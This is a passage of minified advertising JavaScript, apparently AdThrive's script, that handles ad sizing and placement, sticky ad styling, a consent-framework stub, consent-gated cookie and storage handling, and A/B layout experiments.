r[0]==`string`&&i.push(r.shift()),a.push(...r);try{Function.prototype.apply.call(e,console,[i.join(``),...a])}catch(e){console.error(e);return}}},_e=[[728,90],[300,250],[300,600],[320,50],[970,250],[160,600],[300,1050],[336,280],[970,90],[300,50],[300,90],[320,100],[468,60],[250,250],[120,240],[1,1],[300,300],[300,420],[728,250],[320,300],[300,390]],ve=new Map([[e.Footer,1],[e.Header,2],[e.Sidebar,3],[e.Content,4],[e.Recipe,5],[`Sidebar_sticky`,6],[`Below Post`,7]]),ye=e=>_e.filter(([t,n])=>e.some(([e,r])=>t===e&&n===r)),be=(t,[n,r],i)=>{let{location:a,sequence:o}=t;if(a===e.Footer)return!(i===`phone`&&n===320&&r===100);if(a===e.Header)return!0;if(a===e.Recipe)return!(D()&&i===`phone`&&(n===300&&r===390||n===320&&r===300));if(a===e.Sidebar){let e=t.adSizes.some(([,e])=>e<=300),n=!!o&&o<=5,i=r>300;return i&&!e||o===9?!0:n?i?t.sticky:!0:!i}else return!0},xe=(t,n)=>{let{location:r,sticky:i}=t;if(r===e.Recipe&&n){let{recipeMobile:e,recipeDesktop:t}=n;if(D()&&e!=null&&e.enabled||!D()&&t!=null&&t.enabled)return!0}return r===e.Footer||i},Se=(e,t)=>{var n;let i=(n=r())==null?void 0:n.experiments;return i!==void 0&&Object.prototype.hasOwnProperty.call(i,`smra1`)&&i.smra1===!0&&D()&&A(e,t)},Ce=(t,n)=>{let r=n.adUnits,i=v.isRolloutEnabled(`enable-250px-max-ad-height`);return r.filter(e=>e.dynamic!==void 0&&e.dynamic.enabled).map(r=>{let a=r.location.replace(/\s+/g,`_`),o=a===`Sidebar`?0:2;a===e.Content&&i&&C()&&(r.adSizes=r.adSizes.filter(e=>e[1]<=250));let s=Se(a,t),c=[];for(let e of k(r.targeting,[])){let t=e;t.key===`special`&&c.push(...t.value)}let l=ye(r.adSizes).filter(e=>be(r,e,t)&&(s?me(e):!(e[0]===300&&e[1]===90)));return{auctionPriority:ve.get(a)||8,location:a,sequence:k(r.sequence,1),thirdPartyAdUnitName:r.thirdPartyAdUnitName||``,customGamTargeting:r.customGamTargeting||{},sizes:l,devices:r.devices,pageSelector:k(r.dynamic.pageSelector,``).trim(),elementSelector:k(r.dynamic.elementSelector,``).trim(),position:k(r.dynamic.position,`beforebegin`),max:Math.floor(k(r.dynamic.max,0)),spacing:k(r.dynamic.spacing,0),skip:Math.floor(k(r.dynamic.skip,0)),every:Math.max(Math.floor(k(r.dynamic.every,1)),1),classNames:r.dynamic.classNames||[],sticky:xe(r,n.adOptions.stickyContainerConfig),stickyOverlapSelector:k(r.stickyOverlapSelector,``).trim(),autosize:r.autosize,special:c,lazy:k(r.dynamic.lazy,!1),lazyMax:k(r.dynamic.lazyMax,o),lazyMaxDefaulted:r.dynamic.lazyMax===0?!1:!r.dynamic.lazyMax,name:r.name}})},we=(t,n)=>{let r=he(n),i=t.sticky&&t.location===e.Sidebar;return t.sizes.filter(e=>{let n=t.autosize?e[0]<=r||e[0]<=320:!0,a=i?e[1]<=window.innerHeight-100:!0;return n&&a})},Te=(e,t)=>
2836e.devices.includes(t),Ee=e=>{if(e.pageSelector.length===0)return!0;let t=M(e.pageSelector);return t.valid?t.element!==null:!1},I={Desktop:`desktop`,Mobile:`mobile`},De=e=>{let t=document.body,n=`adthrive-device-${e}`;if(!t.classList.contains(n))try{t.classList.add(n)}catch(e){F.error(`BodyDeviceClassComponent`,`init`,{message:e.message});let t=`classList`in document.createElement(`_`);F.error(`BodyDeviceClassComponent`,`init.support`,{support:t})}},L=e=>`adthrive-${e.location.replace(`_`,`-`).toLowerCase()}`,Oe=e=>`${L(e)}-${e.sequence}`;function ke(e,t,n){let r=e.pageOverrides.filter(e=>{let t=P(e.pageSelector);return t.valid||n==null||n({selector:e.pageSelector,selectorType:`pageOverride.pageSelector`,source:`getPageDensitySettings`,error:t.error}),e.pageSelector===``||t.elements&&t.elements.length}).map(e=>e[t]);return r.length?r[0]:e[t]}function Ae({targetDensity:e,targetAll:t,totalAvailableElements:n,mainContentHeight:r,minDivHeight:i,recipeCount:a}){return t?n:Math.floor(e*r/(1-e)/i)-a}function je(e,t,n,r){return e.filter(e=>{try{return t.querySelector(e.elementSelector)}catch(t){return r==null||r({selector:e.elementSelector,selectorType:`elementSelector`,source:`getCombinedMax`,context:n==null?void 0:n(e),error:t}),!1}}).map(e=>Number(e.max)+Number(e.lazyMaxDefaulted?0:e.lazyMax)).sort((e,t)=>t-e)[0]||0}let Me=(e,t)=>{if(e<=0)return{spacing:0,nextAfter:0,reasons:[`non-density-disabled`]};let n=t*e;return{spacing:n,nextAfter:n,reasons:[`non-density-viewport-ratio`]}},Ne=({settings:e,densityDevice:t,dynamicAds:n,target:r,totalAvailableElements:i,mainContentHeight:a,minDivHeight:o,recipeCount:s,selectorContext:c,onInvalidSelector:l})=>{let u=ke(e,t,l),d=u.adDensity,f=u.onePerViewport,p=d===.99,m=Ae({targetDensity:d,targetAll:p,totalAvailableElements:i,mainContentHeight:a,minDivHeight:o,recipeCount:s}),h=je(n,r,c,l);return{onePerViewport:f,targetAll:p,targetDensity:d,targetDensityUnits:m,combinedMax:h,numberOfUnits:Math.min(i,m,...h>0?[h]:[]),reasons:[p?`target-all-eligible`:`target-density-formula`,...f?[`viewport-floor`]:[]]}},Pe=({totalAvailableElements:e,targetDensityUnits:t,numberOfUnits:n,mainContentHeight:r,absoluteMinimumSpacing:i,viewportHeight:a,onePerViewport:o})=>{let s=e>t||e>n,c=[],l,u;return s?(u=!1,l=r/Math.min(t,n),c.push(`wider-spacing`)):(u=!0,l=o&&a>i?a:i,c.push(`absolute-minimum`)),o&&a>l?(c.push(`viewport-floor`),{insertEvery:a,usedAbsoluteMinimum:u,reasons:c}):{insertEvery:l,usedAbsoluteMinimum:u,reasons:c}},Fe=(e,t)=>{let n=e*.6;return n<=t?{insertEvery:t,usedAbsoluteMinimum:!0,reasons:[`clamped-absolute-minimum`]}:{insertEvery:n,usedAbsoluteMinimum:!1,reasons:[`wider-spacing`]}},Ie=(e,t)=>window.matchMedia(`(min-width: ${t}px)`).matches?`desktop`:window.matchMedia(`(min-width: ${e}px)`).matches?`tablet`:`phone`,R=e=>{let t=e.offsetHeight,n=e.offsetWidth,r=e.getBoundingClientRect(),i=document.body,a=document.documentElement,o=window.pageYOffset||a.scrollTop||i.scrollTop,s=window.pageXOffset||a.scrollLeft||i.scrollLeft,c=a.clientTop||i.clientTop||0,l=a.clientLeft||i.clientLeft||0,u=Math.round(r.top+o-c),d=Math.round(r.left+s-l);return{top:u,left:d,bottom:u+t,right:d+n,width:n,height:t}},Le=(e=document)=>(e===document?document.body:e).getBoundingClientRect().top,Re=e=>e.includes(`,`)?e.split(`,`):[e],ze=(e=document)=>{let t=e.querySelectorAll(`article`);if(t.length===0)return null;let n=Array.from(t).reduce((e,t)=>t.offsetHeight>e.offsetHeight?t:e);return n&&n.offsetHeight>window.innerHeight*1.5?n:null},Be=(e,t,n=document)=>{let r=new Set(t.map.map(({el:e})=>e)),i=ze(n),a=i?[i]:[],o=[];e.forEach(e=>{let t=j(e.elementSelector,n);if(!t.valid)return;let i=Array.from(t.elements),s=Re(e.elementSelector),c=s.length===1?i:[];s.length>1&&s.forEach(e=>{Array.from(j(e,n).elements).forEach(e=>{c.push(e)})});let l=new Set(i.slice(0,e.skip));for(let t of c){if(r.has(t))continue;let n=t.parentElement;n&&n!==document.body?a.push(n):a.push(t),l.has(t)||o.push({dynamicAd:e,element:t})}});let s=Le(n),c=o.map(e=>({item:e,top:e.element.getBoundingClientRect().top-s}));return c.sort((e,t)=>e.top-t.top),[a,c.map(({item:e})=>e)]},Ve=(e,t,n=document)=>{let[r,i]=Be(e,t,n);return r.length===0?[null,i]:[Array.from(r).reduce((e,t)=>
2836t.offsetHeight>e.offsetHeight?t:e)||document.body,i]},He=(e,t=`div #comments, section .comments`)=>{let n=e.querySelector(t);return n?e.offsetHeight-n.offsetHeight:e.offsetHeight},Ue=()=>{let e=document.body,t=document.documentElement;return Math.max(e.scrollHeight,e.offsetHeight,t.clientHeight,t.scrollHeight,t.offsetHeight)},We=()=>{let e=document.body,t=document.documentElement;return Math.max(e.scrollWidth,e.offsetWidth,t.clientWidth,t.scrollWidth,t.offsetWidth)};function z(e,t){t===void 0&&(t={});var n=t.insertAt;if(!(!e||typeof document>`u`)){var r=document.head||document.getElementsByTagName(`head`)[0],i=document.createElement(`style`);i.type=`text/css`,n===`top`&&r.firstChild?r.insertBefore(i,r.firstChild):r.appendChild(i),i.styleSheet?i.styleSheet.cssText=e:i.appendChild(document.createTextNode(e))}}let Ge=e=>e===9,Ke=e=>Ge(e)?`rp-sticky-sb-wrapper`:`rp-sticky-sidebar`,qe=e=>z(` 2837 .adthrive-device-phone .adthrive-sticky-content { 2838 height: 450px !important; 2839 margin-bottom: 100px !important; 2840 } 2841 .adthrive-content.adthrive-sticky { 2842 position: -webkit-sticky; 2843 position: sticky !important; 2844 top: 42px !important; 2845 margin-top: 42px !important; 2846 } 2847 .adthrive-content.adthrive-sticky:after { 2848 content: "â Advertisement. Scroll down to continue. â"; 2849 font-size: 10pt; 2850 margin-top: 5px; 2851 margin-bottom: 5px; 2852 display:block; 2853 color: #888; 2854 } 2855 .adthrive-sticky-container { 2856 position: relative; 2857 display: flex; 2858 flex-direction: column; 2859 justify-content: flex-start; 2860 align-items: center; 2861 min-height:${e||400}px; 2862 margin: 10px 0 10px 0; 2863 background-color: #FAFAFA; 2864 padding-bottom:0px; 2865 } 2866 `),Je=e=>{z(` 2867 .adthrive-recipe.adthrive-sticky { 2868 position: -webkit-sticky; 2869 position: sticky !important; 2870 top: 42px !important; 2871 margin-top: 42px !important; 2872 } 2873 .adthrive-recipe-sticky-container { 2874 position: relative; 2875 display: flex; 2876 flex-direction: column; 2877 justify-content: flex-start; 2878 align-items: center; 2879 min-height:${e||400}px !important; 2880 margin: 10px 0 10px 0; 2881 background-color: #FAFAFA; 2882 padding-bottom:0px; 2883 } 2884 `)},B=(e,t)=>e.some(e=>{let n=M(e);return n.valid?n.element!==null:(t==null||t(e,n.error),!1)}),Ye=e=>/^[-_a-zA-Z]+[-_a-zA-Z0-9]*$/.test(e),Xe=(e,t,n)=>{let r=e=>e?!!(e.classList.contains(`adthrive-ad`)||e.id.includes(`_${n}_`)):!1;switch(t){case`beforebegin`:return r(e.previousElementSibling);case`afterend`:return r(e.nextElementSibling);case`afterbegin`:return r(e.firstElementChild);case`beforeend`:return r(e.lastElementChild);default:return!1}};var V=class e extends l{constructor(e=[],t,n=Math.random){super(),this._choices=e,this._default=t,this._random=n}static fromArray(t,n){return new e(t.map(([e,t])=>({choice:e,weight:t})),n)}addChoice(e,t){this._choices.push({choice:e,weight:t})}get(){let e=this._random()*100,t=0;for(let{choice:n,weight:r}of this._choices)if(t+=r,t>=e)return n;return this._default}get totalWeight(){return this._choices.reduce((e,{weight:t})=>e+t,0)}};let H={AdDensity:`addensity`,AdLayout:`adlayout`,FooterCloseButton:`footerclose`,Interstitial:`interstitial`,RemoveVideoTitleWrapper:`removevideotitlewrapper`,StickyOutstream:`stickyoutstream`,StickyOutstreamOnStickyPlayer:`sospp`,VideoAdvancePlaylistRelatedPlayer:`videoadvanceplaylistrp`,MobileStickyPlayerPosition:`mspp`};var Ze=class{constructor(){s(this,`name`,void 0),s(this,`disable`,void 0),s(this,`gdprPurposes`,void 0)}};let U=`__adthriveTcfApiStub`,W=`__tcfapiLocator`,G=[],K=!1,q,J=e=>typeof e==`function`&&!!e[U],Qe=(e,t=2)=>{let n=G.findIndex(([n,r,i])=>n===`getTCData`&&r===t&&i===e);return n===-1?!1:(G.splice(n,1),!0)},$e=()=>{let e=()=>{if(document.querySelector(`iframe[name="${W}"]`))return;if(!document.body){setTimeout(e,5);return}let t=document.createElement(`iframe`);t.style.cssText=`display:none`,t.name=W,document.body.appendChild(t)};e()},Y=()=>{let e=window.__tcfapi;return typeof e==`function`&&!J(e)?e:void 0},X=()=>{let e=Y();if(e)for(;G.length>0;){let t=G.shift();if(t)try{e(t[0],t[1],t[2],t[3])}catch(e){e instanceof Error&&e.message}}},et=()=>{if(K)return;if(K=!0,Y()){X();return}let e=window.__tcfapi;Object.defineProperty(window,"__tcfapi",{configurable:!0,enumerable:!0,get:()=>e,set:t=>{e=t,typeof t==`function`&&!J(t)&&X()}})},tt=()=>{let e=(e,t=2,n,r)=>{if(e===void 0)return G;switch(e){case`ping`:typeof n==`function`&&n({gdprApplies:q,cmpLoaded:!1,cmpStatus:`stub`,apiVersion:`2.0`},!0);return;case`setGdprApplies`:parseInt(String(t),10)>=2&&typeof r==`boolean`&&(q=r,typeof n==`function`&&n(`set`,!0));return;default:G.push([e,t,n,r])}};return Object.defineProperty(e,U,{value:!0,configurable:!1,enumerable:!1,writable:!1}),e},nt=()=>{window.addEventListener(`message`,e=>{let t=typeof e.data==`string`,n={};if(t)try{n=JSON.parse(e.data)}catch{return}else n=e.data;let r=typeof n==`object`&&n?n.__tcfapiCall:void 0;if(!r)return;let i=e.source;window.__tcfapi(r.command,r.version,(e,n)=>{let a={__tcfapiReturn:{returnValue:e,success:n,callId:r.callId}};i==null||i.postMessage(t?JSON.stringify(a):a,`*`)},r.parameter)},!1)},rt=()=>
2884{if(et(),Y())return!1;let e=!1;return J(window.__tcfapi)||(window.__tcfapi=tt(),nt(),e=!0),$e(),window.__tcfapiQueue=G,e},it=(e,t=2,n,r)=>{if(e===void 0)return;let i=Y();i?i(e,t,n,r):(G.push([e,t,n,r]),rt())},at=(e,t=2,n,r)=>{it(e,t,n,r)},ot=(e=1e4)=>new Promise((t,n)=>{let r,i=!1,a=(e,a)=>{i||(i=!0,r&&clearTimeout(r),a&&e?t(e):n(Error(`Failed to retrieve TCData`)))};e>0&&(r=setTimeout(()=>{i||(i=!0,Qe(a,2),n(Error(`TCF API request timed out`)))},e)),at(`getTCData`,2,a)}),st=[`mcmpfreqrec`],Z=new class extends Ze{constructor(...e){super(...e),s(this,`name`,`BrowserStorage`),s(this,`disable`,!1),s(this,`gdprPurposes`,[1]),s(this,`_sessionStorageHandlerQueue`,[]),s(this,`_localStorageHandlerQueue`,[]),s(this,`_cookieHandlerQueue`,[]),s(this,`_gdpr`,void 0),s(this,`_shouldQueue`,!1),s(this,`_storageConsentGranted`,void 0),s(this,`_storageConsentUpdateInFlight`,0),s(this,`_storageConsentBeforeLatestUpdate`,void 0)}init(e,t){this._gdpr=e.gdpr===`true`,this._shouldQueue=this._gdpr,this._gdpr&&t&&(t.consentResponseCaptured.on(()=>{this._refreshStorageConsent(`consentResponseCaptured`)}),t.consentChanged.on(()=>{this._refreshStorageConsent(`consentChanged`)}))}_isGdprFromGlobal(){if(typeof window>`u`||!window.adthrive)return!1;let e=window.adthrive;return`gdprEnabled`in e?!!e.gdprEnabled:e.gdpr===`true`}_shouldQueueWrite(){return this._gdpr===void 0?this._isGdprFromGlobal():this._gdpr&&this._shouldQueue}isInGdprQueueMode(){return this._shouldQueueWrite()}_refreshStorageConsent(e){this._storageConsentBeforeLatestUpdate=this._storageConsentGranted,this._storageConsentUpdateInFlight+=1,this._updateStorageConsent().catch(e=>{}).then(()=>{this._storageConsentUpdateInFlight=Math.max(0,this._storageConsentUpdateInFlight-1)})}async _updateStorageConsent(){var e;let t=await ot();!(t==null||(e=t.purpose)==null)&&e.consents&&(this._storageConsentGranted=t.purpose.consents[1]===!0)}_getStorageWriteAvailability(e,t){try{let n=window[e];n.setItem(t,`1`);let r=n.getItem(t);return n.removeItem(t),r===`1`?{available:!0}:{available:!1,error:Error(`${e} write probe value mismatch`)}}catch(e){return{available:!1,error:e}}}getStorageApiAvailability(){return{localStorage:this._getStorageWriteAvailability(`localStorage`,`__adthrive_localstorage_test__`).available,sessionStorage:this._getStorageWriteAvailability(`sessionStorage`,`__adthrive_sessionstorage_test__`).available}}clearQueue(e,t){t!==void 0&&(this._storageConsentGranted=t);let n=this._gdpr&&this._hasStorageConsent()===!1,r=e&&n&&this.disable===!1&&this._storageConsentUpdateInFlight>0&&this._storageConsentBeforeLatestUpdate===!1;r&&(this._storageConsentGranted=!0),e&&(!n||r)&&(this._shouldQueue=!1,this._sessionStorageHandlerQueue.forEach(e=>{this.setSessionStorage(e.key,e.value)}),this._localStorageHandlerQueue.forEach(e=>{if(e.key===`adthrive_abgroup`){let t=Object.keys(e.value)[0],n=e.value[t],r=e.value[`${t}_weight`];this.getOrSetABGroupLocalStorageValue(t,n,r,{value:24,unit:`hours`})}else e.expiry?e.type===`internal`?this.setExpirableInternalLocalStorage(e.key,e.value,{expiry:e.expiry,resetOnRead:e.resetOnRead}):this.setExpirableExternalLocalStorage(e.key,e.value,{expiry:e.expiry,resetOnRead:e.resetOnRead}):e.type===`internal`?this.setInternalLocalStorage(e.key,e.value):this.setExternalLocalStorage(e.key,e.value)}),this._cookieHandlerQueue.forEach(e=>{e.type===`internal`?this.setInternalCookie(e.key,e.value):this.setExternalCookie(e.key,e.value)})),this._sessionStorageHandlerQueue=[],this._localStorageHandlerQueue=[],this._cookieHandlerQueue=[]}readInternalCookie(e){return this._verifyInternalKey(e),this._readCookie(e)}readExternalCookie(e){return this._readCookie(e)}readExternalCookieList(e){return this._readCookieList(e)}getAllCookies(){return this._getCookies()}readInternalLocalStorage(e){return this._verifyInternalKey(e),this._readFromLocalStorage(e)}readExternalLocalStorage(e){return this._readFromLocalStorage(e)}readSessionStorage(e){let t=window.sessionStorage.getItem(e);if(!t)return null;try{return JSON.parse(t)}catch{return t}}getLocalStorageWriteAvailability(){return this._getStorageWriteAvailability(`localStorage`,`__adthrive_local_storage_probe__`)}
2884deleteCookie(e){if(!this.disable){if(this._shouldQueueWrite()){this._cookieHandlerQueue=this._cookieHandlerQueue.filter(t=>t.key!==e);return}document.cookie=`${e}=; SameSite=None; Secure; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/`}}purgeCookie(e){this._cookieHandlerQueue=this._cookieHandlerQueue.filter(t=>t.key!==e);try{document.cookie=`${e}=; SameSite=None; Secure; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/`}catch{}}deleteLocalStorage(e){if(!this.disable){if(this._shouldQueueWrite()){this._localStorageHandlerQueue=this._localStorageHandlerQueue.filter(t=>t.key!==e);return}window.localStorage.removeItem(e)}}purgeLocalStorage(e){this._localStorageHandlerQueue=this._localStorageHandlerQueue.filter(t=>t.key!==e);try{window.localStorage.removeItem(e)}catch{}}deleteSessionStorage(e){if(!this.disable){if(this._shouldQueueWrite()){this._sessionStorageHandlerQueue=this._sessionStorageHandlerQueue.filter(t=>t.key!==e);return}window.sessionStorage.removeItem(e)}}purgeSessionStorage(e){this._sessionStorageHandlerQueue=this._sessionStorageHandlerQueue.filter(t=>t.key!==e);try{window.sessionStorage.removeItem(e)}catch{}}_hasStorageConsent(){if(this._storageConsentGranted!==void 0)return this._storageConsentGranted}setInternalCookie(e,t,n){this.disable||(this._verifyInternalKey(e),this._setCookieValue(`internal`,e,t,n))}setExternalCookie(e,t,n){this.disable||this._setCookieValue(`external`,e,t,n)}setInternalLocalStorage(e,t){if(!this.disable)if(this._verifyInternalKey(e),this._shouldQueueWrite()){let n={key:e,value:t,type:`internal`};this._localStorageHandlerQueue.push(n)}else{let n=typeof t==`string`?t:JSON.stringify(t);window.localStorage.setItem(e,n)}}setExternalLocalStorage(e,t){if(!this.disable)if(this._shouldQueueWrite()){let n={key:e,value:t,type:`external`};this._localStorageHandlerQueue.push(n)}else{let n=typeof t==`string`?t:JSON.stringify(t);window.localStorage.setItem(e,n)}}setExpirableInternalLocalStorage(e,t,n){if(!this.disable){this._verifyInternalKey(e);try{let r=(n==null?void 0:n.expiry)??{value:400,unit:`days`},i=(n==null?void 0:n.resetOnRead)??!1;if(this._shouldQueueWrite()){let n={key:e,value:t,type:`internal`,expires:this._getExpiryDate(r),expiry:r,resetOnRead:i};this._localStorageHandlerQueue.push(n)}else{let n={value:t,type:`internal`,expires:this._getExpiryDate(r),expiry:r,resetOnRead:i};window.localStorage.setItem(e,JSON.stringify(n))}}catch(e){console.error(e)}}}setExpirableExternalLocalStorage(e,t,n){if(!this.disable)try{let r=(n==null?void 0:n.expiry)??{value:400,unit:`days`},i=(n==null?void 0:n.resetOnRead)??!1;if(this._shouldQueueWrite()){let n={key:e,value:JSON.stringify(t),type:`external`,expires:this._getExpiryDate(r),expiry:r,resetOnRead:i};this._localStorageHandlerQueue.push(n)}else{let n={value:t,type:`external`,expires:this._getExpiryDate(r),expiry:r,resetOnRead:i};window.localStorage.setItem(e,JSON.stringify(n))}}catch(e){console.error(e)}}setSessionStorage(e,t){if(!this.disable)if(this._shouldQueueWrite()){let n={key:e,value:t};this._sessionStorageHandlerQueue.push(n)}else{let n=typeof t==`string`?t:JSON.stringify(t);window.sessionStorage.setItem(e,n)}}getOrSetABGroupLocalStorageValue(e,t,n,r,i=!0){let a=`adthrive_abgroup`;if(this._shouldQueueWrite()){let o={[e]:t,[`${e}_weight`]:n};return r?this.setExpirableInternalLocalStorage(a,o,{expiry:r,resetOnRead:i}):this.setInternalLocalStorage(a,o),[t,n]}let o=this.readInternalLocalStorage(a);if(o!==null){let t=o[e],n=o[`${e}_weight`]??null;if(this._isValidABGroupLocalStorageValue(t))return[t,n]}let s={...o,[e]:t,[`${e}_weight`]:n};return r?this.setExpirableInternalLocalStorage(a,s,{expiry:r,resetOnRead:i}):this.setInternalLocalStorage(a,s),[t,n]}_isValidABGroupLocalStorageValue(e){return e!=null&&!(typeof e==`number`&&isNaN(e))}_getExpiryDate({value:e,unit:t}){let n=new Date;return t===`milliseconds`?n.setTime(n.getTime()+e):t==`seconds`?n.setTime(n.getTime()+e*1e3):t===`minutes`?n.setTime(n.getTime()+e*60*1e3):t===`hours`?n.setTime(n.getTime()+e*60*60*1e3):t===`days`?n.setTime(n.getTime()+e*24*60*60*1e3):t===`months`&&n.setTime(n.getTime()+e*30*24*60*60*1e3),n.toUTCString()}_resetExpiry(e){return e.expires=this._getExpiryDate(e.expiry),e}_readCookie(e){let t=document.cookie.split(`; `).find(t=>t.split(`=`)[0]===e);if(!t)return null;let n=t.split(`=`)[1];if(n)try{return JSON.parse(decodeURIComponent(n))}catch{return decodeURIComponent(n)}return null}_readCookieList(e){let t;for(let n of document.cookie.split(`;`)){let[r,...i]=n.split(`=`);r.trim()===e&&(t=i.join(`=`).trim())}return t&&JSON.parse(t)||[]}_getCookies(){let e=[];return document.cookie.split(`;`).forEach(t=>{let[n,r]=t.split(`=`).map(e=>e.trim());e.push({name:n,value:r})}),e}_readFromLocalStorage(e){let t=window.localStorage.getItem(e);if(!t)return null;try{let n=JSON.parse(t),r=n.expires&&new Date().getTime()>=new Date(n.expires).getTime();if(e===`adthrive_abgroup`&&n.created)return window.localStorage.removeItem(e),null;if(n.resetOnRead&&n.expires&&!r){let t=this._resetExpiry(n);return window.localStorage.setItem(e,JSON.stringify(n)),t.value??t}else if(r)return window.localStorage.removeItem(e),null;if(Object.prototype.hasOwnProperty.call(n,`value`))try{return JSON.parse(n.value)}catch{return n.value}else return n}catch{return t}}_setCookieValue(e,t,n,r){try{if(this._shouldQueueWrite()){let r={key:t,value:n,type:e};this._cookieHandlerQueue.push(r)}else{let e=this._getExpiryDate((r==null?void 0:r.expiry)??{value:400,unit:`days`}),i=(r==null?void 0:r.sameSite)??`None`,a=(r==null?void 0:r.secure)??!0,o=typeof n==`object`?JSON.stringify(n):n;document.cookie=`${t}=${o}
2884; SameSite=${i}; ${a?`Secure;`:``} expires=${e}; path=/`}}catch{}}_verifyInternalKey(e){let t=e.startsWith(`adthrive_`),n=e.startsWith(`adt_`);if(!t&&!n&&!st.includes(e))throw Error(`When reading an internal cookie, the key must start with "adthrive_" or "adt_" or be part of the allowed legacy keys.`)}},ct=e=>{let t=5381,n=e.length;for(;n;)t=t*33^e.charCodeAt(--n);return t>>>0},lt=e=>ct(e).toString(16),ut=e=>{if(e===null)return null;let t=e.map(({choice:e})=>e);return lt(JSON.stringify(t))},dt=(e,t)=>{var n;return((n=e.find(({choice:e})=>e===t))==null?void 0:n.weight)??null},ft=e=>e!=null&&!(typeof e==`number`&&isNaN(e)),pt=(e,t)=>{if(Z.isInGdprQueueMode())return t();let n=ut(e._choices),r=((e._expConfigABGroup?e._expConfigABGroup:e.abgroup)||e.key||``).toLowerCase(),i=n?`${r}_${n}`:r,a=e.localStoragePrefix?`${e.localStoragePrefix}-${i}`:i,o=Z.readInternalLocalStorage(`adthrive_branch`);(o&&o.enabled)===!1&&Z.deleteLocalStorage(a);let s=t(),c=dt(e._choices,s),[l,u]=Z.getOrSetABGroupLocalStorageValue(a,s,c,{value:24,unit:`hours`});return e._stickyResult=l,e._stickyWeight=u,l},mt=(e=window.location.search)=>{let t=+(e.indexOf(`?`)===0);return e.slice(t).split(`&`).reduce((e,t)=>{let[n,r]=t.split(`=`);return e.set(n,r),e},new Map)},ht=e=>{let t={},n=mt().get(e);if(n)try{let r=decodeURIComponent(n).replace(/\+/g,``);t=JSON.parse(r),F.event(`ExperimentOverridesUtil`,`getExperimentOverrides`,e,t)}catch(e){e instanceof URIError}return t},gt=(e,t)=>typeof e==typeof t,_t=(e,t)=>{let n=e.adDensityEnabled,r=e.adDensityLayout.pageOverrides.find(e=>!!document.querySelector(e.pageSelector)&&(e[t].onePerViewport||typeof e[t].adDensity==`number`));return n?!r:!0},vt=e=>{var t;let n=(t=e.videoPlayers)==null||(t=t.partners)==null||(t=t.stickyOutstream)==null?void 0:t.blockedPageSelectors;return n?!document.querySelector(n):!0},yt=e=>{let t=e.adOptions.interstitialBlockedPageSelectors;return t?!document.querySelector(t):!0},bt=(e,t,n)=>{switch(t){case H.AdDensity:return _t(e,n);case H.StickyOutstream:return vt(e);case H.Interstitial:return yt(e);default:return!0}},xt=e=>e.length===1,St=e=>{let t=e.reduce((e,t)=>t.weight?t.weight+e:e,0);return e.length>0&&e.every(e=>{let t=e.value,n=e.weight;return!!(t!=null&&!(typeof t==`number`&&isNaN(t))&&n)})&&t===100},Ct=(e,t)=>{if(!e)return!1;let n=!!e.enabled,r=e.dateStart==null||Date.now()>=e.dateStart,i=e.dateEnd==null||Date.now()<=e.dateEnd,a=e.selector===null||e.selector!==``&&!!document.querySelector(e.selector),o=e.platform===`mobile`&&t===`mobile`,s=e.platform===`desktop`&&t===`desktop`,c=e.platform===null||e.platform===`all`||o||s,l=e.experimentType===`bernoulliTrial`?xt(e.variants):St(e.variants);return l||F.error(`SiteTest`,`validateSiteExperiment`,`experiment presented invalid choices for key:`,e.key,e.variants),n&&r&&i&&a&&c&&l};var wt=class{constructor(e){var t;s(this,`siteExperiments`,[]),s(this,`_clsOptions`,void 0),s(this,`_device`,void 0),this._clsOptions=e,this._device=D()?`mobile`:`desktop`,this.siteExperiments=((t=this._clsOptions.siteAds.siteExperiments)==null?void 0:t.filter(e=>{let t=e.key,n=Ct(e,this._device),r=bt(this._clsOptions.siteAds,t,this._device);return n&&r}))??[]}getSiteExperimentByKey(e){let t=this.siteExperiments.filter(t=>t.key.toLowerCase()===e.toLowerCase())[0],n=ht(`at_site_features`),r=gt(t!=null&&t.variants[1]?t==null?void 0:t.variants[1].value:t==null?void 0:t.variants[0].value,n[e]);return t&&n[e]&&r&&(t.variants=[{displayName:`test`,value:n[e],weight:100,id:0}]),t}},Tt=class{constructor(){s(this,`experimentConfig`,void 0)}get enabled(){return this.experimentConfig!==void 0}_isValidResult(e,t=()=>!0){return t()&&ft(e)}},Et=class extends Tt{constructor(...e){super(...e),s(this,`_resultValidator`,()=>!0)}_isValidResult(e){return super._isValidResult(e,()=>this._resultValidator(e)||e===`control`)}run(){if(!this.enabled)return F.error(`CLSWeightedChoiceSiteExperiment`,`run`,`() => %o`,`No experiment config found. Defaulting to control.`),`control`;if(!this._mappedChoices||this._mappedChoices.length===0)return F.error(`CLSWeightedChoiceSiteExperiment`,`run`,`() => %o`,`No experiment variants found. Defaulting to control.`),`control`;let e=new V(this._mappedChoices).get();return this._isValidResult(e)?e:(F.error(`CLSWeightedChoiceSiteExperiment`,`run`,`() => %o`,`Invalid result from experiment choices. Defaulting to control.`),`control`)}}
2884,Dt=class extends Et{constructor(e){super(),s(this,`_choices`,[]),s(this,`_mappedChoices`,[]),s(this,`_result`,``),s(this,`_clsSiteExperiments`,void 0),s(this,`_resultValidator`,e=>typeof e==`string`),s(this,`key`,H.AdLayout),s(this,`abgroup`,H.AdLayout),this._clsSiteExperiments=new wt(e),this.experimentConfig=this._clsSiteExperiments.getSiteExperimentByKey(this.key),this.enabled&&this.experimentConfig&&(this._choices=this.experimentConfig.variants,this._mappedChoices=this._mapChoices(),this._result=this.run(),e.setWeightedChoiceExperiment(this.abgroup,this._result,!0))}get result(){return this._result}run(){return pt(this,()=>{if(!this.enabled)return F.error(`CLSAdLayoutSiteExperiment`,`run`,`() => %o`,`No experiment config found. Defaulting to empty class name.`),``;let e=new V(this._mappedChoices).get();return this._isValidResult(e)?e:(F.error(`CLSAdLayoutSiteExperiment`,`run`,`() => %o`,`Invalid result from experiment choices. Defaulting to empty class name.`),``)})}_mapChoices(){return this._choices.map(({weight:e,value:t})=>({weight:e,choice:t}))}},Ot=class extends Et{constructor(e){super(),s(this,`_choices`,[]),s(this,`_mappedChoices`,[]),s(this,`_result`,`control`),s(this,`_clsSiteExperiments`,void 0),s(this,`_resultValidator`,e=>typeof e==`number`),s(this,`key`,H.AdDensity),s(this,`abgroup`,H.AdDensity),this._clsSiteExperiments=new 